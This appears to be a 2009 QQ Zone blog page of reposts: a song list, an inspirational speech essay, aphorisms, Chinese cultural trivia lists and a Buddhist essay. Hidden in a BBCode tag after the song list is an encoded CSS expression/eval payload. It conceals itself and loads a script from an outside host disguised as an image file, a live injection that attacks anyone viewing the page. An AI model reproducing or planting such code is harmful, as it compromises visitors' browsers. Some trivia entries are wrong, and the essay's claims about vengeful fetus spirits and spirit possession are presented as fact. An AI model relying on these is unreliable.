普才

[转]视频歌曲集

583725771@qq.com(普才) — Sat, 21 Nov 2009 14:04:21 GMT

1;亲爱的你在何方
2:做你的爱人
3:女人如烟

 4:那一夜
5:爱大了受伤了
6:听着情歌流眼泪
7:曾经最爱的女人
8:坐上了火车去拉萨
9:朝拜
10:等爱的玫瑰
11:有没有人告诉你 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

[转]最感人的演讲

583725771@qq.com(普才) — Fri, 13 Nov 2009 12:13:21 GMT

教育孩子的问题是每个家长心里非常重要的问题，著名演讲家邹越老师每一次感人的演讲，深深的震撼着每一位在场观众的心灵，当《让生命充满爱》走进社会每一个角落之时，当每个人感动的流泪之后，深深的思考让每个人的灵魂深处得到深刻的启发：生命不能没有爱！看了下面邹老师最感人的演讲，我流泪了，是因为我无法控制我爱的感情，恍然大悟之后，此时此刻的爱已经透过每个观众的心底而放射出美好的光芒。爱具有无穷的力量，爱让世界充满希望，请你仔细去观看，请你仔细去品尝，你的感受，你的思考就是爱的长廊……希望你看了后转帖，让世界充满无限的爱。

记得教师节期间，
无意中在一位朋友的空间看到此演讲的视频，
被深深感动

就在昨日，一好友发来链接地址，看后再次泪流满面，心灵再次震撼

资料：为心灵解码，给智慧加油——大型主题演讲《让世界充满爱》

演讲人：邹越

简介：
《让世界充满爱》由我国著名青年演讲家、归国教授邹越先生主讲。演讲以“爱祖国、爱老师、爱父母、爱自己”为主题，邹越教授结合自己在国外的亲身经历及多年亲子教育研究的成果，针对我国当前青少年教育存在的基本问题和现状，“用生命呐喊”。
邹越有感于国内外人员素质的差异，立志把教育兴国做为自己的奋斗目标。他在全国各地做的巡回演讲《让世界充满爱》，每次都交织着泪水和激情，拨动着一个又一个青少年的心弦。告诉我们怎样成为最好的自己。

一位老师在推荐这个视频时说：“我想把这个演讲放给我的学生看，因为我看这个演讲时落泪了、感动了，受教育了。学生看了也一定会很受教育。”

“一个国家，一个民族，一个政党，如果没有一种精神，他就不会发展壮大；一个企业，如果没有一种精神，他就不会在竞争中求得生存；一个人如果没有一种精神，那你就永远也不会长大。”——邹越

让生命充满爱，爱祖国，爱老师，爱父母，自强自立，不仅适用于学生，也适用于我们。
人心本向善，善恶仅在一念之差，让大家都有一颗感恩的心吧，当你心中充满感激，就会笑着面对每一个人，也会笑着面对世界。

你感动了吗？
邹越：中国时代之声演讲团荣誉团长、首席演讲家。

　　大型校园演讲《让生命充满爱》原创人。目前已在国内巡回演讲七百多场，听众人数（含媒体）突破一千万人次。获得大量社会荣誉，全国多所大学客座教授，80多所中小学荣誉校长、200多所中小学德育顾问。
邹越1964年生于长春，1985年赴欧洲留学，1991年归国，有感于国内外人员素质差异，将“教育兴国”作为人生奋斗目标，主要著作有《让生命充满爱》、《格兰仕精神》等。
邹越演讲走过的地方，不仅留下了掌声和泪水，感召了许多人，也留下了一种信念和一种精神。在演讲团中，他是首席演讲家，率队在全国各地进行巡回演讲，传播爱心———让生命充满爱，让中国充满爱，让世界充满爱！

　　邹越常说；“我们中国人并不缺少爱，只是含蓄的个性缺少了爱的表达，让每个人都能尽情地释放爱，促进社会和谐，是这个演讲的最大愿望”。

　　他呼吁有演讲能力和演讲爱好的人都能加入到爱心演讲队伍中来。

[转]☆人生格言，句句深入人心

583725771@qq.com(普才) — Fri, 13 Nov 2009 12:10:27 GMT

　　 1、莎士比亚说:再好的东西都有失去的一天。再深的记忆也有淡忘的一天。再爱的人，也有远走的一天。再美的梦也有苏醒的一天。该放弃的决不挽留。该珍惜的决不放手，分手后不可以做朋友，因为彼此伤害过！也不可以做敌人，因为彼此深爱过。

　　2、几米说:当你喜欢我的时候，我不喜欢你,当你爱上我的时候，我喜欢上你,当你离开我的时候，我却爱上你,是你走得太快，还是我跟不上你的脚步,我们错过了诺亚方舟,错过了泰坦尼克号,错过了一切的惊险与不惊险,我们还要继续错过.我不了解我的寂寞来自何方，但我真的感到寂寞。你也寂寞，世界上每个人都寂寞，只是大家的寂寞都不同吧。

　　

　　3、刘心武说:不要指望，麻雀会飞得很高。高处的天空，那是鹰的领地。麻雀如果摆正了自己的位置，它照样会过得很幸福！

　　4、亦舒说:人们日常所犯最大的错误，是对陌生人太客气，而对亲密的人太苛刻，把这个坏习惯改过来，天下太平。

　　

　　5、郭敬明说:我终于发现自己看人的眼光太过简单,我从来没有去想面具下面是一张怎样的面容,我总是直接把面具当做面孔来对待,却忘记了笑脸面具下往往都是一张流着泪的脸..

　　6、刘心武说:对不起是一种真诚，没关系是一种风度。如果你付出了真诚，却得不到风度，那只能说明对方的无知与粗俗！

　　

　　7、韩寒说:再累再苦就当自己是二百五再难再险就当自己是二皮脸！

　　8、安妮宝贝说:当一个女子在看天空的时候，她并不想寻找什么。她只是寂寞。

　　

　　9、遇见平凡说:缘分像一本书。翻的不经意会错过童话读得太认真又会流干眼泪。”

　　10、张小娴说:爱，从来就是一件千回百转的事。不曾被离弃，不曾受伤害，怎懂得爱人？

　　

　　11、亦舒说:无论怎么样，一个人借故堕落总是不值得原谅的，越是没有人爱，越要爱自己。

　　12、刘心武说:与其讨好别人，不如武装自己；与其逃避现实，不如笑对人生；与其听风听雨，不如昂首出击！

　　

　　13、张爱玲说:娶了红玫瑰，久而久之，红玫瑰就变成了墙上的一抹蚊子血，白玫瑰还是“床前明月光”；娶了白玫瑰，白玫瑰就是衣服上的一粒饭渣子，红的还是心口上的一颗朱砂痣。

　　14、三毛说:一个朋友很好，两个朋友就多了一点，三个朋友就未免太多了。知音，能有一个已经很好了，不必太多，如果实在没有，还有自己，好好对待自己，跟自己相处，也是一个朋友……

　　

　　15、雪小禅说:我以为终有一天，我会彻底将爱情忘记，将你忘记，可是，忽然有一天，我听到了一首旧歌，我的眼泪就下来了，因为这首歌，我们一起听过。

　　16、郭敖说:我们始终都在练习微笑，终于变成不敢哭的人。

　　

　　17、三毛说:不要害怕拒绝他人，如果自己的理由出于正当。当一个人开口提出要求的时候，他的心里根本预备好了两种答案。所以，给他任何一个其中的答案，都是意料中的。

　　18、梓色心晴说:男人哭了，是因为他真的爱了~女人哭了，是因为她真得放弃了~。”

　　

　　19、玄漪说:能够说出的委屈，便不算委屈；能够抢走的爱人，便不算爱人。

　　20、张爱玲说:爱情本来并不复杂，来来去去不过三个字，不是我爱你、我恨你，便是算了吧、你好吗、对不起。

　　

　　21、马云说:晚上想想千条路,早上醒来走原路.

　　22、饶雪漫说:这个世界欺骗了我，我必须给与还击，我不会放掉任何一丁点儿属于我的幸福，哪怕付出的代价是从此坠入地狱，我也在所不惜。

　　

　　23、郭敖说:每个人一生之中心里总会藏着一个人，也许这个人永远都不会知道，尽管如此，这个人始终都无法被谁所替代。而那个人就像一个永远无法愈合的伤疤，无论在什么时候，只要被提起，或者轻轻的一碰，就会隐隐作痛。

　　24、GARVEN说:话是人说的，屁也是人放的，说话和放屁一样，都是一口气而已。

　　

　　25、三毛说:某些人的爱情，只是一种“当时的情绪”。如果对方错将这份情绪当做长远的爱情，是本身的幼稚。

　　26、张小娴说:如果没法忘记他，就不要忘记好了。真正的忘记，是不需要努力的。

　　

　　27、人非草木说:再丑的人也能结婚，再美的人也会单身！

　　28、张爱玲说:因为爱过，所以慈悲；因为懂得，所以宽容

[转]中国人不可不知道的知识（以后就找不到了）……

583725771@qq.com(普才) — Fri, 13 Nov 2009 12:09:25 GMT

五脏】心、肝、脾、肺、肾

【六腑】胃、胆、三焦、膀胱、大肠、小肠

【七情】喜、怒、哀、乐、爱、恶、欲

【五常】仁、义、礼、智、信

【五伦】君臣、父子、兄弟、夫妇、朋友

【三姑】尼姑、道姑、卦姑

【六婆】牙婆、媒婆、师婆、虔婆、药婆、稳婆

【九属】玄孙、曾孙、孙、子、身、父、祖父、曾祖父、高祖父

【五谷】稻、黍、稷、麦、豆

【中国八大菜系】四川菜、湖南菜、山东菜、江苏菜、浙江菜、广东菜、福建菜、安徽菜

【五毒】石胆、丹砂、雄黄、矾石、慈石

【配药七方】大方、小方、缓方、急方、奇方、偶方、复方【五彩】青、黄、赤、白、黑

【五音】宫、商、角、徵、羽

【七宝】金、银、琉璃、珊瑚、砗磲、珍珠、玛瑙

【九宫】正宫、中吕宫、南吕宫、仙吕宫、黄钟宫、大面调、双调、商调、越调

【七大艺术】绘画、音乐、雕塑、戏剧、文学、建筑、电影

【四大名瓷窑】河北的瓷州窑、浙江的龙泉窑、江西的景德镇窑、福建的德化窑

【四大名旦】梅兰芳、程砚秋、尚小云、荀慧生

【六礼】冠、婚、丧、祭、乡饮酒、相见

【六艺】礼、乐、射、御、书、数

【六义】风、赋、比、兴、雅、颂

【八旗】镶黄、正黄、镶白、正白、镶红、正红、镶蓝、正蓝

【十恶】谋反、谋大逆、谋叛、谋恶逆、不道、大不敬、不孝、不睦、不义、内乱

【九流】儒家、道家、阴阳家、法家、名家、墨家、纵横家、杂家、农家

【三山】安徽黄山、江西庐山、浙江雁荡山

【五岭】越城岭、都庞岭、萌诸岭、骑田岭、大庾岭

【五岳】〖中岳〗河南嵩山、〖东岳〗山东泰山、〖西岳〗陕西华山、〖南岳〗湖南衡山、〖北岳〗山西恒山

【五湖】鄱阳湖〖江西〗、洞庭湖〖湖南〗、太湖〖江苏〗、洪泽湖〖江苏〗、巢湖〖安徽〗

【四海】渤海、黄海、东海、南海

【四大名桥】广济桥、赵州桥、洛阳桥、卢沟桥

【四大名园】颐和园〖北京〗、避暑山庄〖河北承德〗、拙政园〖江苏苏州〗、留园〖江苏苏州〗

【四大名刹】灵岩寺〖山东长清〗、国清寺〖浙江天台〗、玉泉寺〖湖北江陵〗、栖霞寺〖江苏南京〗

【四大名楼】岳阳楼〖湖南岳阳〗、黄鹤楼〖湖北武汉〗、滕王阁〖江西南昌〗、大观楼〖云南昆明〗

【四大名亭】醉翁亭〖安徽滁县〗、陶然亭〖北京先农坛〗、爱晚亭〖湖南长沙〗、湖心亭〖杭州西湖〗

【四大古镇】景德镇〖江西〗、佛山镇〖广东〗、汉口镇〖湖北〗、朱仙镇〖河南〗

【四大碑林】西安碑林〖陕西西安〗、孔庙碑林〖山东曲阜〗、地震碑林〖四川西昌〗、南门碑林〖台湾高雄〗

【四大名塔】嵩岳寺塔〖河南登封嵩岳寺〗、飞虹塔〖山西洪洞广胜寺〗、释迦塔〖山西应县佛宫寺〗、千寻塔〖云南大理崇圣寺〗

【四大石窟】莫高窟〖甘肃敦煌〗、云岗石窟〖山西大同〗、龙门石窟〖河南洛阳〗、麦积山石窟〖甘肃天水〗

【四大书院】白鹿洞书院〖江西庐山〗、岳麓书院〖湖南长沙〗、嵩阳书院〖河南嵩山〗、应天书院〖河南商丘〗

【四大佛教名山】浙江普陀山〖观音菩萨〗、山西五台山〖文殊菩萨〗、四川峨眉山〖普贤菩萨〗、安徽九华山〖地藏王菩萨〗

【四大道教名山】湖北武当山、江西龙虎山、安徽齐云山、四川青城山

【五行】金、木、水、火、土

【八卦】乾〖天〗、坤〖地〗、震〖雷〗、巽〖风〗、坎〖水〗、离〖火〗、艮〖山〗、兑〖沼〗

【三皇】伏羲、女娲、神农

【五帝】五帝有五种说法　①黄帝、颛顼、帝喾、尧、舜
　　②宓戏（伏羲）、神农、黄帝、尧、舜
　　③太昊、炎帝、黄帝、少昊、颛顼
　　④少昊、颛顼、帝喾、尧、舜
　　⑤黄帝、少昊、颛顼、喾、尧
　　其中第三种说法最为流行，意指东西南北中五个方位的天神，东方太昊，南方炎帝，西方少昊，北方颛顼，中央黄帝。

【三教】儒教、道教、佛教

【三清】元始天尊〖清微天玉清境〗、灵宝天尊〖禹余天上清境〗、道德天尊〖大赤天太清境〗

【四御】昊天金阙无上至尊玉皇大帝、中天紫微北极大帝、勾陈上宫天后皇大帝、承天效法土皇地祗

【八仙】铁拐李、钟离权、张果老、吕洞宾、何仙姑、蓝采和、韩湘子、曹国舅

【十八罗汉】布袋罗汉、长眉罗汉、芭蕉罗汉、沉思罗汉、伏虎罗汉、过江罗汉、欢喜罗汉、降龙罗汉、静坐罗汉、举钵罗汉、开心罗汉、看门罗汉、骑象罗汉、探手罗汉、托塔罗汉、挖耳罗汉、笑狮罗汉、坐鹿罗汉

【十八层地狱】[第一层]泥犁地狱、[第二层]刀山地狱、[第三层]沸沙地狱、[第四层]沸屎地狱、[第五层]黑身地狱、[第六层]火车地狱、[第七层]镬汤地狱、[第八层]铁床地狱、[第九层]盖山地狱、[第十层]寒冰地狱、[第十一层]剥皮地狱、[第十二层]畜生地狱、[第十三层]刀兵地狱、[第十四层]铁磨地狱、[第十五层]寒冰地狱、[第十六层]铁册地狱、[第十七层]蛆虫地狱、[第十八层]烊铜地狱
【四大名绣】苏绣〖苏州〗、湘绣〖湖南〗、蜀绣〖四川〗、广绣〖广东〗

【四大名扇】檀香扇〖江苏〗、火画扇〖广东〗、竹丝扇〖四川〗、绫绢扇〖浙江〗

【四大名花】牡丹〖山东菏泽〗、水仙〖福建漳州〗、菊花〖浙江杭州〗、山茶〖云南昆明〗

【十大名茶】西湖龙井〖浙江杭州西湖区〗、碧螺春〖江苏吴县太湖的洞庭山碧螺峰〗、信阳毛尖〖河南信阳车云山〗、君山银针〖湖南岳阳君山〗、六安瓜片〖安徽六安和金寨两县的齐云山〗、黄山毛峰〖安徽歙县黄山〗、祁门红茶〖安徽祁门县〗、都匀毛尖〖贵州都匀县〗、铁观音〖福建安溪县〗、武夷岩茶〖福建崇安县〗

【扑克人物】
黑桃J：查尔斯一世的侍从，丹麦人霍克拉　　
红桃J：查尔斯七世的宫廷随从拉海亚
梅花J：亚瑟王的著名骑士兰斯洛特
方块J：查尔斯一世的侍从罗兰
黑桃Q：帕拉斯o阿西纳，古希腊神话中智慧与战争女神
红桃Q：朱尔斯，德国人，查尔斯一世的妻子
梅花Q：英国的兰开斯特王族的约克王后
方块Q：是《圣经o旧约》中的约瑟夫的妹妹，莱克尔皇后
黑桃K：戴维，公元前10世纪的以色列国王索洛蒙的父亲，擅长弹奏竖琴
红桃K：查尔斯一世，弗兰克国王沙勒曼
梅花K：马其顿国的亚历山大大帝，最早go-vern-ment世界
方块K：罗马名将和政治家朱亚斯o西泽，罗马统一后成为独裁统治者

【十二生肖】
〖中国〗子鼠、丑牛、寅虎、卯兔、辰龙、巳蛇、午马、未羊、申猴、酉鸡、戌狗、亥猪
〖埃及〗牝牛、山羊、狮子、驴、蟹、蛇犬、猫、鳄、红鹤、猿、鹰
〖法国〗摩羯、宝瓶、双鱼、白羊、金牛、双子、巨蟹、狮子、室女、天秤、天蝎、人马
〖印度〗招杜罗神的鼠、毗羯罗神的牛、宫毗罗神的狮、伐折罗神的兔、迷立罗神的龙、安底罗神的蛇、安弥罗神的马、珊底罗神的羊、因达罗神的猴、波夷罗神的金翅鸟、摩虎罗神的狗、和真达罗神的猪，

【年龄称谓】
襁褓：未满周岁的婴儿
孩提：指2——3岁的儿童
垂髫：指幼年儿童（又叫“总角”）
豆蔻：指女子十三岁
及笄：指女子十五岁
加冠：指男子二十岁（又“弱冠”）
而立之年：指三十岁
不惑之年：指四十岁
知命之年：指五十岁（又“知天命”、“半百”）
花甲之年：指六十岁
古稀之年：指七十岁
耄耋之年：指八、九十岁
期颐之年：一百岁

【古代主要节日】
元日：正月初一，一年开始。
人日：正月初七，主小孩。
上元：正月十五，张灯为戏，又叫“灯节”
社日：春分前后，祭祀祈祷农事。
寒食：清明前两日，禁火三日（介子推）
清明：四月初，扫墓、祭祀。
端午：五月初五，吃粽子，划龙（屈原）
七夕：七月初七，妇女乞巧（牛郎织女）
中元：七月十五，祭祀鬼神，又叫“鬼节”
中秋：八月十五，赏月，思乡
重阳：九月初九，登高，插茱萸免灾
冬至：又叫“至日”，节气的起点。
腊日：腊月初八，喝“腊八粥”
除夕：一年的最后一天的晚上，初旧迎新

【婚姻周年】第1年§纸婚、第2年§棉婚、第3年§皮革婚、第4年§水果婚、第5年§木婚、第6年§铁婚、第7年§铜婚、第8年§陶婚、第9年§柳婚、第10年§铝婚、第11年§钢婚、第12年§丝婚、第13年§丝带婚、第14年§象牙婚、第15年§水晶婚、第20年§瓷婚、第25年§银婚、第30年§珍珠婚、第35年§珊瑚婚、第40年§红宝石婚、第45年§蓝宝石婚、第50年§金婚、第55年§绿宝石婚、第60年§钻石婚、第70年§白金婚

【科举职官】〖乡试〗：录取者称为"举人"，第一名称为"解元"、〖会试〗：录取者称为"贡生"，第一名称为"会元"、〖殿试〗：录取者称为"进士"，第一名称为"状元"，第二名为"榜眼"，第三名为"探花"

【四书】《论语》、《中庸》、《大学》、《孟子》

【五经】《诗经》、《尚书》、《礼记》、《易经》、《春秋》

【八股文】破题、承题、起讲、入手、起股、中股、后股、束股

【六子全书】《老子》、《庄子》、《列子》、《荀子》、《扬子法言》、《文中子中说》

【汉字六书】象形、指事、形声、会意、转注、假借

【书法九势】落笔、转笔、藏峰、藏头、护尾、疾势、掠笔、涩势、横鳞竖勒

【竹林七贤】嵇康、刘伶、阮籍、山涛、阮咸、向秀、王戎

【饮中八仙】李白、贺知章、李适之、李琎、崔宗之、苏晋、张旭、焦遂

【蜀之八仙】容成公、李耳、董促舒、张道陵、严君平、李八百、范长生、尔朱先生

【扬州八怪】郑板桥、汪士慎、李鱓、黄慎、金农、高翔、李方鹰、罗聘

【北宋四大家】黄庭坚、欧阳修、苏轼、王安石

【唐宋古文八大家】韩愈、柳宗元、欧阳修、苏洵、苏轼、苏辙、王安石、曾巩

【十三经】《易经》、《诗经》、《尚书》、《礼记》、《仪礼》、《公羊传》、《榖梁传》、《左传》、《孝经》、《论语》、《尔雅》、《孟子》

【四大民间传说】《牛郎织女》、《孟姜女》、《梁山伯与祝英台》、《白蛇与许仙》

【四大文化遗产】《明清档案》、《殷墟甲骨》、《居延汉简》、《敦煌经卷》

【元代四大戏剧】关汉卿《窦娥冤》、王实甫《西厢记》、汤显祖《牡丹亭》、洪升《长生殿》

【晚清四大谴责小说】李宝嘉《官场现形记》、吴沃尧《二十年目睹之怪现状》、刘鹗《老残游记》、曾朴《孽海花》

【莎士比亚四大悲剧】《汉姆莱特》、《李尔王》、《麦克白》、《奥赛罗》

[转]图片欣赏—艳魂

583725771@qq.com(普才) — Fri, 13 Nov 2009 12:08:57 GMT

[转]佛教QQ空间

583725771@qq.com(普才) — Fri, 30 Oct 2009 13:43:46 GMT

子轩清净无尘西方确指佛到来微妙小屋感悟人生法界众生无风亦无雨法胜释门禅悟悟量净心佛陀世界之演如如佛妙音觉心菩提一念一清净原治孤单也很美天语解脱大佛頂首楞嚴王古梵音心岚幻之斋清心莲缘花开见佛[同名] 释戒嗔清风释衍法笑笑法界众生妙善家缘金峰山火云洞花开见佛[同名光明世界菩提之爱普才青莲文池宇哥菏光真空圣龙灵儿

[转]观世音普门品唱诵

583725771@qq.com(普才) — Fri, 30 Oct 2009 13:25:53 GMT

[转]我们为什么要学佛？

583725771@qq.com(普才) — Fri, 30 Oct 2009 12:31:57 GMT

学佛前要了解的基本内容
1、人生的含义（人来到这世上的一辈子为了什么？）我们人活在世上到底是为了什么？恐怕很多人一辈子也没有想过这个问题，也有很多人想过的，但找不到答案，于是还是和大家一样那么活下去了。也有很多人去寻找答案，于是有很多献身于各自信仰的出家僧人或者牧师、修女等等。
人来到世上是为了什么？从小孩子被父母关爱，长大之后上学，上了大学毕业之后工作，找个爱人结婚，然后再生小孩子，就和自己父母一样。这就是一辈子的路吗？这样的一辈子有意义吗？和动物又有什么不一样？表面看起来动物是比人要低的，城市中、农村里的动物比如鸡、鸭、猪、马、牛、羊等他们有很多自己不能做主的痛苦，他们会被人吃掉，被人杀掉。可是野外大自然当中的动物比如老虎、狮子、蚂蚁等它们也在重复我们一生一世的这种步骤呀？我的一世和他们有什么不同吗？
严格讲没有什么不同。因为我们的生活本来没有什么意义，在按部就班的生活过程中只是为了一个活着的简单目标而做事。但是活在世上的生活如果我们给予它一个远大的目标，并为了这个目标去努力的话，那我们的一生就有了意义。
出家人因为了解人生的真相，为了修行，普度众生而选择出家苦修。当年鸠摩罗什翻译大乘经典，有人告诉他，他翻译大乘经典对他自己非常不利，但他义无反顾的去做。作为他本人，他遭人囚禁很多年，被绑在牛背上遭人嬉辱，即便贵为国师，他这个出家人还被国王赐予了许多媳妇，就为了让他能留个聪明的后代，他个人遭受了难以想象的各种苦难，但是他翻译的各种大乘经典流传于世，荫泽后人，开启了后世无数人的智慧心灯。历史上又有多少人是为了他人而发心去做大事，从而使得自己的一生有了意义，而不是像野外动物一样，过完一生。
2、娑婆世界有多苦？
佛经讲娑婆世界很苦，我们好像没有觉得，人世间挺好的，为什么说苦呢？是吗？真的很好吗？在这里没有长久的东西，一切的东西都是会变的。山川会倒塌，河流会改向，家人终究会死去，爱情也会失去，兄弟姐妹会分散，友情会变。地震来临时人不由自己的控制，死亡的来临不可预期。在平静的生活下面没有可以预期的各种变动，我们无法控制外面的人和事，就连我们自己也无法控制，我们会生病，会烦恼，会生气，让自己心情抑郁，难过，痛苦。
3、人身难得
很多人不知道人身难得。我们地球上人多，有60亿呢！！我满眼看去到处都是人，有什么难得的。
如果告诉你，佛陀告诉众人，整个世界实际上有十法界，我们眼睛看不到的其中声闻、缘觉、菩萨、佛陀是四道，有地狱道、饿鬼道、阿修罗道，天人四道，而我们眼睛能看到的只有人道和畜生道。在这十法界的世界中，能得人身的难度，就和在大地上有无数灰尘，而得到人身的机会只和我们手指甲上的那一点灰尘那么多。再有个比喻，海面上有一个圆木，里面有个孔，这个圆木会随着海浪四处漂浮，海里有一只瞎了眼的大海龟，100年的时间它才会浮到海面上一次。得到人身的机会就如同瞎眼的海龟到了海面上把自己的头放到圆木的孔中一样难，我们可以想象一下这个难度，这种几率是多么的微小。为什么有那么多被堕胎的婴灵不肯饶恕他们的妈妈或者爸爸，因为他们无数劫以来得到的好不容易的投胎机会被扼杀了，他们很怨恨，所以他们不肯走的，有的还要报复。得人身的机会难得，还有一点是在我们看不见的六道里，只有人身是可以用来修行的。这也是为什么现而今各地的附体现象非常频繁的原因，因为只有人身是最适合修行的，可以做功德，可以听经闻法，可以上求佛道，下化众生。畜生道里许多的狐狸、兔子、黄鼠狼等修炼万年，他们也还要借人的身体来积攒功德，让自己提升更高，这就是很多附体、大仙儿出马的原因。
换言之，得人身的机会如此难得，其实来娑婆世界里人的本质任务就是要修行的。每一个人来到世间都要面对自己前世的种种业力的考验，如果不能继续修行，沉沦于五欲的享受中去，浪费福报，如同大自然里的动物一样虚度一生，下一世我们会到哪里？没有人可以保证，以现在世间的福报如此之大，造业速度如此之快，即便从几层天上下来的天人，到人间几十年的时间，也能把自己的福报耗尽，最后几十岁的时候变成病痛满身，最后直接到地狱报到去了。
人之所以生而为人，因为自己宿世的业力和愿力牵引而来，有人身万分珍贵，如果不知道珍惜，死之后去哪里不可预知，也许地狱，也许饿鬼，也许畜生不得而知。在人生短短的几十年里，有幸听闻佛法，真是福报很大，而如果不能抓住这样的机会好好修行，那么顶多是积攒微薄的福报到下一世去继续享福，以后再想修行，听闻佛法也不容易了。
4、我们为什么会有烦恼？痛苦？为什么会生病？
我们活着真是一件很不容易的事情，就算我们没有一个长远打算，我不想追求高远目标，我就想一辈子平平安安的，家人幸福，工作到退休就行了。可是就连这样的目标我们也难以如愿。为什么？
我们家庭有烦恼，父母看子女不听话，子女看父母太贪婪或者太唠叨，夫妻看对方不顺眼，兄弟姐妹看对方有问题，处不好关系，甚至关系坏到让人痛苦到自杀的程度。前几天新闻里一个女市长跳楼自杀，因为家庭矛盾的原因。
还有我想平平安安，为什么我是一身的病痛，为什么我的家人会有病痛，花钱很多，还治不好，这样的痛苦实在能把人逼疯。这时我们还认为这个世界是美好的吗？为什么连我们最简单的小小期望都达不到呢？
因为佛陀告诉我们三世因果。每一个人来到世上，都是带着自己前世的业力和习气、秉性来的，而今生你所遇到的每一个人都是和你前世有各种因缘的人。我们来到人世间，不记得自己修行的本质任务，也就是本性迷了，随着眼、耳、鼻、舌、身的五欲的沉沦，于是我们再造下新的罪业，也就把我们本有的福报耗尽了不说，还使得前世的很多造的业显现，就受了新的业报。
这所有一切的毛病，都是因为我们不懂的从反观自己开始做起，我们的眼睛总是看别人的毛病，我们的心总是挑别人的错，我们从来看不到自己的毛病，我们总是找别人的不是，我们从来不说自己不对。
想要改变这一切，要从心开始，从改变我们自己的心开始。有句话说得很好，“和谐世界从心开始”。
二、我们为什么要学佛？
我们为什么要学佛？
这个问题问得简单，回答起来五花八门。
有说学佛好，家里事事顺意；也有说这个世界太苦，学佛可以早点脱离这里，能往生西方极乐世界；也有的说我遇到痛苦的事、烦恼的事，学佛之后我不痛苦了，不烦恼了。
严格一点讲，现在社会中看起来学佛的人多，但真正学佛的人少，为什么这么讲？大多数人只能简单说是到了一个程度信佛，就像相信人间有土地老爷，玉皇大帝，太上老君，海龙王一样。
1、
很多人自诩学佛，他会去念佛，读经，放生，供养，好像学佛之后的事他做了很多，但是学佛的根本宗旨他不知道，最终是只积累了一点人天福报而已。事情一直顺利还好说，一旦遇到重大的不顺利事情，比如自己生病或者家人、亲朋生病，或者遇到车祸等意外事故，他会心中怀疑，我一直学佛供佛，为什么佛菩萨不保佑我呢？2、
更有甚者，有的人学佛没有学好，运气越来越差，脾气越来越古怪，与家人相处不来，到寺院与居士、僧众也相处不来，最后变成一个孤家寡人，还让别人谤佛，“就这样学佛，还不如平常在家人呢！”3、
还有的人学佛做了很多事，理论学了不少，事情做了不少，脾气秉性几年如一日，于是乎一边学佛口念真经，一边随顺自己的脾气秉性造业继续做恶，这样的情况下，身体有病，精神不好，更是无法让别人升起对佛法的信心。
以上简单举了几个例子，说明的是上面的都不能算是学佛，为什么？很多学佛人，都在执行本门的教义，禅宗参禅，密宗三密相应，净宗净念相续，手段不同，总之没有离开参禅明心见性为基础。否则就是盲修瞎练，难成正果。有的诵经万遍，有的十万大头，有的持咒念佛不断，有的放生消灾免难。有的诵经回向给自己的冤亲债主，求得平安，有的做义工等等。虽说是善举，有得法不得法之分。无为者功德无量，即不为自己的种种发心，为法界众生而不是为自己去做。有为者小小福报，凡是带着有求菩萨的目的的心都是有为者，谈不上功德。从中不难看出真修与假修。真修者：“见景生情心不动，般若智得菩提行，利益众生无为法，明心识我性本空。”可有的学佛变成了求佛，他们很多是把佛菩萨等同于和玉皇大帝一样的神仙一样来求，和佛菩萨做交易，我情，亲情加友情，情情不断难放下。有病求佛保健康，家庭有事求佛保安康，求佛保我发财能致富。找到好工作，好对象，两地分居到一起，白头到老寿命长。孩子升学升博士，家庭幸福又安康。三亲六顾求个遍。还求死人上天堂。学佛吧！吉祥如意佛加持，好好念佛升极乐，解脱苦难把福享。
有的学子不是这样学。通过念佛，诵经，持咒，坐禅，观想，放生，超度等，就以为自己是学佛了，有的人有点成就就了不起了，专讲他人过，自己苦来了。认为自己是传承，正道，其他门派在利益众生也是外道。流言蜚语对他门不敬。更严重的是修行不修自心，专门拉帮结伙，抓对方的毛病，大做文章，壮大自己的团体，专讲他人过，自己苦来了还不知道造口业。什么经都会诵，就是心经不会诵，难得成就，不是吗？不知道上求佛道见自性，下化众生菩提心。念佛修道心与佛相应。
对学佛人来说，问“为什么要学佛？多数人讲：求往生极乐世界！请想没有实证，会成妄想，实践证明，学佛的人多，往生的人少。修道的人多成就的人少。为什么呢？
“学佛修真，无垢通神，无为利生，菩提圣人。”说明什么呢？一切法门净心为要，一切法门见性为要。八万四千法门，修行的总核心是明心见性，把自性引出来，成佛之空性，性空心不空，即是中道行。理事二圆融而得成就！
“心光照大乾，处处以佛应，为而无为法，般若即圣名”
可是他们从来不知道，一切唯心造，所有的罪业都是自己做的。学佛有句话，很多人都知道，可是很少有人把它当回事去认真做，“诸恶莫做，众善奉行；自净其意，是诸佛教。”首先要了解佛教，佛教是释迦牟尼佛对宇宙人生真相的一种教授，是一种教育，他告诉我们人生是怎么回事，世界是怎么回事，宇宙是怎么回事，我们如何能离开痛苦，得到快乐。我们人人具有佛性，只是因为自性迷了，沾染了无始劫的业力，所以才是我们现在的人身。学佛就是要学习佛陀对我们的教育，想要离开痛苦，得到快乐，要按照佛菩萨的教导去做。通过“闻、思、修”。闻是听经闻法，经过思虑而燃亮心灯。明其心，善行可作佛，恶行必成魔。利人升天得快乐，损人下地狱。成就不成就在心一念间。成就什么呢？觉悟二字。觉者利人利己，关爱他人是关爱自己。原因：救死扶伤，助人为乐。和搞好和谐社会，人人献爱心是一样的道理。有难大家帮，本身是利国利民，国家强盛，民族兴旺。国富民强的道理人人都懂，不必多说。这都是发菩提心，行菩提道而无为。既是只知耕耘不问收获。
所有号称自己学佛的人都要回过头问问自己，我是在学佛吗？我真的在学佛吗？
修行人：在表法善举上下功夫，如：念佛、诵经、持咒、礼佛、打坐、印经、放生、超度等下功夫。是读了很多经，念了很多佛号，诵了很多咒语，放生很多，布施很多，可这些就是学佛吗？
关键修净心，见性如何？是否烦恼变菩提。发没发菩提心，向佛发过大愿吗？行菩提路，怎样行愿利生的？这是精进的标准。
我们发菩提心了吗？我们觉悟了吗？我们断恶修善了吗？

1、学佛是怎么回事？学佛，学佛，要学什么？
有人学佛理，读了很多经书，看了很多经典，讲起理论头头是道，自己从来不去实际来做。
有人按照教导，非常热衷于到寺院拜佛、上香、磕头、印经、放生，但是不知道去学习佛理，热衷于到处朝山拜庙，访高僧，从事相上很精进，可从来不从心里去做改动。
